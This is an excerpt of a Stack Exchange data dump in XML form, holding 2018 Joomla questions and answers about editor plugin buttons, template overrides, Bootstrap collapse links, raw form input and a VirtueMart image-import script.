  <row Id="23898" PostTypeId="2" ParentId="18077" CreationDate="2018-12-09T18:47:03.560" Score="0" Body="&lt;p&gt;I experience exactly the same. Additionally, if I place the adjusted override file back in the orignal tmpl folder (and rename it to default.php) the intended changes do occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the changes in the sub-files (i.e. default_articles.php) also in my_template/html/com_contact/ are handled correctly. So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;default override doesn't work&lt;/li&gt;&#xA;&lt;li&gt;sub file override does work...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13112" LastActivityDate="2018-12-09T18:47:03.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23899" PostTypeId="1" AcceptedAnswerId="23900" CreationDate="2018-12-10T03:59:18.560" Score="5" ViewCount="517" Body="&lt;p&gt;I have a project that I am writing a component, module, and editor plugin for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to piece together a rudimentary plugin that works with TinyMCE (at least) which:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Displays a custom button&lt;/li&gt;&#xA;&lt;li&gt;Triggers a popup modal window containing a dynamic table of buttons using db data&lt;/li&gt;&#xA;&lt;li&gt;Inserts a custom, curly-braced placeholder into an article.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The part that I am concerned with is making my solution &quot;upgrade proof&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed &lt;a href=&quot;https://mrgott.com/13-joomla/17-how-to-create-joomla-editors-xtd-plugin-button-and-open-modal-popup&quot; rel=&quot;noreferrer&quot;&gt;https://mrgott.com/13-joomla/17-how-to-create-joomla-editors-xtd-plugin-button-and-open-modal-popup&lt;/a&gt; as much as I could, until I needed to break away and build beyond what is mentioned.  That resource warns:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE: Yes, the first question that arises is: What if after each&#xA;  update your file will be removed as it’s not a part of Joomla’s&#xA;  com_content component. Yeah, that’s right, but actually I’m fine by&#xA;  keeping this file, and uploading it after each system update, rather&#xA;  then doing plugin development in the wrong and dirty way.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you are building this plugin for your client, you should better&#xA;  build a component, or maybe you already built some component and just&#xA;  add a new view file there for your editors-xtd plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I feel like my component will need more than just a new file in &lt;code&gt;views&lt;/code&gt;. I would rather learn &quot;the right way&quot;.  I don't want to &lt;a href=&quot;https://joomla.stackexchange.com/a/13861/12352&quot;&gt;&quot;give up&quot; like Philippe&lt;/a&gt;. What files do I need to create (copy into my component and modify) to make my plugin long-lasting?  I could also use a tip on how to add a little icon to my custom button in the editor; right now I only have text with an empty space on its left side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;onDisplay()&lt;/code&gt; function in &lt;code&gt;/plugins/editors-xtd/picturelinkcode/picturelinkcode.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onDisplay($name)&#xA;{       &#xA;    $query_string = [&#xA;        &quot;option&quot; =&amp;gt; &quot;com_content&quot;,      // I want this to be &quot;com_picture&quot;,&#xA;        &quot;view&quot;   =&amp;gt; &quot;article&quot;,&#xA;        &quot;layout&quot; =&amp;gt; &quot;picturelinkcode&quot;,  // some examples use &quot;modal&quot; here&#xA;        &quot;tmpl&quot;   =&amp;gt; &quot;component&quot;,&#xA;        &quot;editor&quot; =&amp;gt; $name&#xA;    ];&#xA;&#xA;    $link = 'index.php?' . http_build_query($query_string);&#xA;&#xA;    $button = new JObject;&#xA;    $button-&amp;gt;modal = true;&#xA;    $button-&amp;gt;class = 'btn';&#xA;    $button-&amp;gt;link  = $link;&#xA;    $button-&amp;gt;text  = JText::_('Linkcode');&#xA;    $button-&amp;gt;name  = 'picturelinkcode';&#xA;    $button-&amp;gt;options = &quot;{handler: 'iframe', size: {x: 600, y: 400}}&quot;;&#xA;&#xA;    return $button;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;/administrator/components/com_content/views/article/tmpl/picturelinkcode.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;$document     = JFactory::getDocument();&#xA;$this-&amp;gt;editor = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('editor', '');&#xA;$this-&amp;gt;editor = preg_replace('~[^\w[\]-]+~', '', $this-&amp;gt;editor);  // sanitize&#xA;&#xA;/**&#xA; * ...better coding practice would probably be&#xA; * to store the js and the data processing&#xA; * outside of this tmpl file&#xA; *   --apologies while sprinting&#xA; */&#xA;$script  = 'function insertPictureLinkcode(linkcode) {' . &quot;\n&quot;;&#xA;$script .= '  var tag = &quot;{loadpicture &quot; + linkcode + &quot;}&quot;;' . &quot;\n&quot;;&#xA;$script .= '  window.parent.jInsertEditorText(tag, ' . json_encode($this-&amp;gt;editor) . ');' . &quot;\n&quot;; // &quot;jform_articletext&quot;&#xA;$script .= '  window.parent.jModalClose();' . &quot;\n&quot;;&#xA;$script .= '  return false;' . &quot;\n&quot;;&#xA;$script .= '}' . &quot;\n&quot;;&#xA;&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration($script);&#xA;&#xA;?&amp;gt;&amp;lt;h3&amp;gt;Picture Linkcodes&amp;lt;/h3&amp;gt;&amp;lt;?php&#xA;&#xA;// Retrieve all linkcodes and their associated counts&#xA;$db = JFactory::getDBO();&#xA;$subquery = $db-&amp;gt;getQuery(true)&#xA;               -&amp;gt;select(&quot;id&quot;)&#xA;               -&amp;gt;from(&quot;#__fields&quot;)&#xA;               -&amp;gt;where([&#xA;                   &quot;context = 'com_picture.picture'&quot;,&#xA;                   &quot;name = 'linkcode'&quot;&#xA;                 ]);&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;value AS linkcode, COUNT(*) AS picturecount&quot;)&#xA;            -&amp;gt;from(&quot;#__fields_values&quot;)&#xA;            -&amp;gt;where(&quot;field_id = ($subquery)&quot;)&#xA;            -&amp;gt;group(&quot;value&quot;);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;try&#xA;{&#xA;    $resultset = $db-&amp;gt;loadObjectList();&#xA;    if (!$resultset)&#xA;    {&#xA;        echo &quot;No Linkcodes Available Yet&amp;lt;br&amp;gt;&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        ?&amp;gt;&#xA;        &amp;lt;form class=&quot;form&quot;&amp;gt;&#xA;            &amp;lt;table&amp;gt;&#xA;                &amp;lt;?php&#xA;                foreach ($resultset as $row)&#xA;                {&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&#xA;                            &amp;lt;button onclick=&quot;insertPictureLinkcode('&amp;lt;?php echo $row-&amp;gt;linkcode; ?&amp;gt;');&quot; class=&quot;btn btn-primary&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $row-&amp;gt;linkcode; ?&amp;gt;&#xA;                            &amp;lt;/button&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&#xA;                            (&amp;lt;?php echo $row-&amp;gt;picturecount; ?&amp;gt;)&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;?php&#xA;                }&#xA;                ?&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div class='bg-danger'&amp;gt;Picture Linkcode Query Error - Contact Developer&amp;lt;/div&amp;gt;&quot;;&#xA;    //echo &quot;&amp;lt;div class='bg-danger'&amp;gt;&quot; , $query-&amp;gt;dump() , &quot;&amp;lt;br&amp;gt;&quot; , $e-&amp;gt;getMessage() , &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Screenshots of my currently functional coding attempt: &lt;a href=&quot;https://i.stack.imgur.com/OabHq.jpg&quot; rel=&quot;noreferrer&quot;&gt;https://i.stack.imgur.com/OabHq.jpg&lt;/a&gt; (I should ask @Eoin what tech he uses to make &lt;a href=&quot;https://joomla.stackexchange.com/q/23828/12352&quot;&gt;those nifty animated gifs&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it matters, my component is nearly identical to the core's &lt;code&gt;adminstistrator/components/com_contact&lt;/code&gt; and my module will only have one job -- to replace placeholders in articles with dynamic content.  My plugin will eventually have greater functionality than I am showing in this question.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-10T05:18:38.247" LastActivityDate="2018-12-12T06:41:36.517" Title="How to make my Editor plugin (type: editors-xtd) survive after updates?" Tags="|plugin|editor|joomla-3.9|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23900" PostTypeId="2" ParentId="23899" CreationDate="2018-12-10T09:46:14.120" Score="3" Body="&lt;p&gt;Normally, the plugin would open a list of items. In this case, the component doesn't have the model/view for the items. So you have to create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bare minimum, the model must contain &lt;code&gt;getListQuery()&lt;/code&gt; method which returns the query used to retrieve the items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/components/com_picture/models/items.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class PictureModelItems extends JModelList&#xA;{&#xA;    protected function getListQuery()&#xA;    {&#xA;        // Retrieve all linkcodes and their associated counts&#xA;        $db = $this-&amp;gt;_db;&#xA;        $subQuery = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__fields'))&#xA;            -&amp;gt;where(&#xA;                [&#xA;                    $db-&amp;gt;quoteName('context') . ' = ' . $db-&amp;gt;quote('com_picture.picture'),&#xA;                    $db-&amp;gt;quoteName('name') . ' = ' . $db-&amp;gt;quote('linkcode'),&#xA;                ]&#xA;            );&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select([$db-&amp;gt;quoteName('value', 'linkcode'), 'COUNT(*) AS picturecount'])&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__fields_values'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('field_id') . ' = (' . $subQuery . ')')&#xA;            -&amp;gt;group($db-&amp;gt;quoteName('value'));&#xA;&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The view, as a bare minimum, must retrieve the items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/components/com_picture/views/items/view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class PictureViewItems extends JViewLegacy&#xA;{&#xA;    protected $items;&#xA;&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;&#xA;        return parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in the view layout output the list of items in a table or whatever other format you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the button plugin, change &lt;code&gt;link&lt;/code&gt; property to point to your new view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;link = 'index.php?option=com_picture&amp;amp;amp;view=items&amp;amp;amp;layout=modal&amp;amp;amp;tmpl=component&amp;amp;amp;editor=' . $name . '&amp;amp;amp;' . JSession::getFormToken() . '=1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I could also use a tip on how to add a little icon to my custom button in the editor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The icon is coming from button's &lt;code&gt;name&lt;/code&gt; property. It gets &lt;code&gt;icon-&lt;/code&gt; added in front to form a IcoMoon icon class. E.g. if you set it to &lt;code&gt;joomla&lt;/code&gt; the resulting class will be &lt;code&gt;icon-joomla&lt;/code&gt;. See all icons &lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_Standard_Icomoon_Fonts&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-12-12T06:41:36.517" LastActivityDate="2018-12-12T06:41:36.517" CommentCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="23901" PostTypeId="1" CreationDate="2018-12-11T05:14:44.070" Score="0" ViewCount="172" Body="&lt;p&gt;If I have a simple BS collapse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#content-&amp;lt;?php echo id; ?&amp;gt;&quot; data-toggle=&quot;collapse&quot;&amp;gt;Trigger Text&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content-&amp;lt;?php echo id; ?&amp;gt;&quot; class=&quot;collapse&quot;&amp;gt;&#xA;Content...&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to trigger the toggle to open as it goes to it from a link in a separate module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say link would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://website/article#content-83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's already going to where content #83 is located at the article, but since the toggle is set to closed on that page it only goes to the article page and never actually shows the contents of content #83. There are reasons it needs to be closed on the page it shows up on, but not if clicked through from that link.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2018-12-12T02:34:18.633" LastActivityDate="2024-01-17T03:07:00.850" Title="Is there a way to open a BS collapse through a link?" Tags="|css|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23905" PostTypeId="2" ParentId="22553" CreationDate="2018-12-11T18:03:13.267" Score="1" Body="&lt;p&gt;I find it easier to add a custom class using jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just put this javascript code snippet in the head section of your template, the majority of template/frameworks providers supports custom javascript code to be added easily.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){ &#xA;    $('select').addClass('custom_class'); &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2018-12-11T18:03:13.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23906" PostTypeId="2" ParentId="15677" CreationDate="2018-12-11T23:34:25.023" Score="0" Body="&lt;p&gt;There were a few points in your coding attempt to address.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;$upload&lt;/code&gt; path and the &lt;code&gt;file_url&lt;/code&gt; path were never going to match, so I've redesigned the process of calling &lt;code&gt;glob()&lt;/code&gt; and querying the db table so that the values are comparable as &quot;apples to apples&quot; before calling &lt;code&gt;array_diff()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You are using &lt;code&gt;$f&lt;/code&gt; in your second loop, but that variable will only be carrying the first loop's final iteration value.  I think you probably mean to use &lt;code&gt;$val&lt;/code&gt; in the second loop (and &lt;code&gt;$key&lt;/code&gt; is not used, so doesn't not need to be declared).&lt;/li&gt;&#xA;&lt;li&gt;I'm not entirely confident that your column-&gt;value assignments were logically lined up in your snippet.  I've made some adjustments based on my own thinking, but if they are not what you want, my diagnostic &lt;code&gt;enqueueMessage()&lt;/code&gt; calls should help you to figure out what is happening.&lt;/li&gt;&#xA;&lt;li&gt;As a matter of best coding practice, you should minimize total trips to the database.  I have written my code to only perform one &lt;code&gt;INSERT&lt;/code&gt; query no matter how many rows of data are to be save.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have run this on my localhost to be successful.  I've packed as many comments and &lt;code&gt;enqueueMessage()&lt;/code&gt; checkpoints as I could to help you see the what is generated throughout the process. This makes my snippet appear rather &quot;messy&quot;, so when everything works as desired for you, just delete/comment all of my diagnostic lines. If you find any issues with my snippet, please let me know so that I can adjust my solution for the benefit of future researchers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;//display errors&#xA;error_reporting(E_ALL);&#xA;ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;//init Joomla Framework &#xA;define('_JEXEC', 1); &#xA;define('JPATH_BASE', dirname(__FILE__) . '/');&#xA;define('DS', DIRECTORY_SEPARATOR); &#xA;&#xA;require_once (implode(DS, [JPATH_BASE, 'includes', 'defines.php'])); &#xA;require_once (implode(DS, [JPATH_BASE, 'includes', 'framework.php'));&#xA;&#xA;//Tell the code where the product images are&#xA;$product_path_dirs = ['images', 'stories', 'virtuemart', 'product'];&#xA;$product_path = implode('/', $product_path_dirs);&#xA;$uploads = JPATH_BASE . DS . implode(DS, $product_path_dirs) . DS;&#xA;// $uploads = '/home/#######/public_html/images/stories/virtuemart/product/';&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;\$uploads = &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;{$uploads}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;&#xA;//Create an array of all images that are jpgs and start with 'n'&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;Original Working Directory = &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . getcwd() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;chdir($uploads); // this eliminates the path from the glob() array values&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;New Working Directory = &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . getcwd() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;&#xA;$server_filenames = glob(&quot;n*.{jpg,jpeg,JPG,JPEG}&quot;, GLOB_BRACE);&#xA;                    //       ^^^^^^^^^^^^^^^^^^^- whitelist of case-insensitive file extensions&#xA;                    //      ^- literal dot&#xA;                    //     ^- zero or more of any character&#xA;                    //    ^- starts with n&#xA;&#xA;// apply url path to filenames&#xA;$server_filenames = array_map(function ($v) use ($product_path) {&#xA;    return &quot;{$product_path}/{$v}&quot;;&#xA;}, $server_filenames);&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;\$server_filenames (as json) = &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . json_encode($server_filenames) . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;&#xA;// Retrieve existing image filenames from db&#xA;$db = JFactory::getDbo();&#xA;$select_query = $db-&amp;gt;getQuery(true)&#xA;                   -&amp;gt;select(&quot;file_url&quot;)&#xA;                   -&amp;gt;from(&quot;#__virtuemart_medias&quot;)&#xA;                   -&amp;gt;where(&quot;file_url LIKE '{$product_path}/n%g'&quot;);  // some general filtering is applied here (this could be further refined)&#xA;                                                                    // assuming case-insensitive COLLATION utf8_general_ci&#xA;$db-&amp;gt;setQuery($select_query);&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;Rendered Select Query&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . $select_query-&amp;gt;dump() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;try&#xA;{&#xA;    $db_filenames = $db-&amp;gt;loadColumn();&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Select Query Syntax Error &quot; . $e-&amp;gt;getMessage(), 'error');&#xA;    // use $e-&amp;gt;getMessage() only while debug and page is not viewable by public&#xA;    exit('script halted');&#xA;}&#xA;&#xA;if (!$difference = array_diff($server_filenames, $db_filenames)) {  // declare $difference and check if empty&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;No New Qualifying Image Files Found&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;}&#xA;else&#xA;{&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;\$db_filenames (as json) = &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . json_encode($db_filenames) . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;\$difference (as json) = &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . json_encode($difference) . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;    // build query with all static parts&#xA;    $insert_query = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;insert(&quot;#__virtuemart_medias&quot;)&#xA;                       -&amp;gt;columns(&quot;virtuemart_vendor_id, file_title, file_description, file_mimetype, file_type, file_url, published&quot;);&#xA;&#xA;    // iterate new, unique filenames and write separate rows for insertion&#xA;    foreach ($difference as $new_filename) {&#xA;        $path_parts = pathinfo($new_filename);&#xA;        $values = [&#xA;            1,                               // virtuemart_vendor_id&#xA;            $db-&amp;gt;q($path_parts['filename']), // file_title&#xA;            $db-&amp;gt;q($path_parts['basename']), // file_description&#xA;            $db-&amp;gt;q('images/jpeg'),           // file_mimetype&#xA;            $db-&amp;gt;q('Product'),               // file_type&#xA;            $db-&amp;gt;q($new_filename),           // file_url&#xA;            1                                // published&#xA;        ];&#xA;        $insert_query-&amp;gt;values(implode(',', $values));&#xA;    }&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;Rendered Insert Query&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&quot; . $insert_query-&amp;gt;dump() . &quot;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&quot;, 'notice');&#xA;    $db-&amp;gt;setQuery($insert_query);&#xA;    try {&#xA;        $db-&amp;gt;execute();&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;&amp;lt;div&amp;gt;&quot; . $db-&amp;gt;getAffectedRows() . &quot; Rows Of Data Inserted&quot;, 'success');&#xA;    } catch (Exception $e) {&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Insert Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');&#xA;        // use $e-&amp;gt;getMessage() only while debug and page is not viewable by public&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-15T12:51:17.757" LastActivityDate="2019-06-15T12:51:17.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23908" PostTypeId="2" ParentId="23901" CreationDate="2018-12-13T08:47:51.807" Score="0" Body="&lt;p&gt;Get the fragment from URL, check that element with the same ID is collapsible and run &lt;code&gt;collapse('show')&lt;/code&gt; if it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function() {&#xA;    var fragment = window.location.hash;&#xA;    if (fragment &amp;amp;&amp;amp; jQuery(fragment).hasClass('collapse')) {&#xA;        jQuery(fragment).collapse('show');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-13T08:47:51.807" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23911" PostTypeId="1" AcceptedAnswerId="23912" CreationDate="2018-12-13T14:35:16.897" Score="1" ViewCount="275" Body="&lt;p&gt;I'm trying to retrieve and save a html formatted text submitted thru a Joomla editor field. I went thru some of the available docs (&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput#Getting_Multiple_Values&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput#Getting_Multiple_Values&lt;/a&gt;), but unfortunately I could not figure out why Joomla removes all the HMTL tags from the text agains all my efforts. I already set the filter type of the field to &quot;raw&quot;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;Message&quot;&#xA;    type=&quot;editor&quot;&#xA;    label=&quot;Message&quot;&#xA;    rows=&quot;10&quot;&#xA;    cols=&quot;40&quot; &#xA;    filter=&quot;raw&quot;&#xA;    class=&quot;gngcontact&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use the below code to retrieve the field content after submission: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = new JInput;&#xA;$post = $input-&amp;gt;getArray(array($_POST =&amp;gt; 'RAW'));&#xA;GNGHelper::dump($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this still results in a string without HMTL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;string(62) &quot;Hello!&#xA;Are there any tags in this line? There were some...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else do I need to do to be able to keep the tags in the resulting string? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a bunch!&#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2018-12-13T16:00:49.317" Title="Why does Joomla remove html tags from submitted text even when filter types are set to raw?" Tags="|jform|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23912" PostTypeId="2" ParentId="23911" CreationDate="2018-12-13T16:00:49.317" Score="2" Body="&lt;p&gt;Using &lt;code&gt;$_POST&lt;/code&gt; as array key in &lt;code&gt;getArray()&lt;/code&gt; argument is producing a warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Illegal offset type&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your form is using form control (normally &lt;code&gt;jform&lt;/code&gt;), you can get unfiltered data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = $this-&amp;gt;input-&amp;gt;get('jform', array(), 'raw');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-13T16:00:49.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23915" PostTypeId="1" CreationDate="2018-12-14T12:04:44.300" Score="1" ViewCount="50" Body="&lt;p&gt;I have just made a new installation of Joomla from scratch and adopted the Helix Ultimate, but the look of the home page is quite different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site: &lt;a href=&quot;http://www.casalpinachezal.it/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.casalpinachezal.it/&lt;/a&gt;&#xA;Demo Helix: &lt;a href=&quot;http://demo.joomshaper.com/?template=helixultimate&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://demo.joomshaper.com/?template=helixultimate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that part of the css/class are not loaded properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have ideas on where is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Riccardo&lt;/p&gt;&#xA;" OwnerUserId="13154" LastActivityDate="2019-05-14T01:01:25.343" Title="Home page problem (maybe css related)" Tags="|joomla-3.x|css|helix3|class-extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23918" PostTypeId="2" ParentId="23915" CreationDate="2018-12-14T23:30:30.183" Score="1" Body="&lt;p&gt;I'm not sure why but your website has some duplicated CSS IDs e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id=&quot;sppb-addon-1.51206879815E+12&quot;&#xA;&#xA;id=&quot;section-id-1.51927852025E+12&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS ID selectors should be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/449000&quot;&gt;Also, CSS selectors should only have hyphens, underscores, letters and numbers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to update the CSS IDs in the page builder and make the corresponding changes in the custom CSS.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-12-14T23:30:30.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
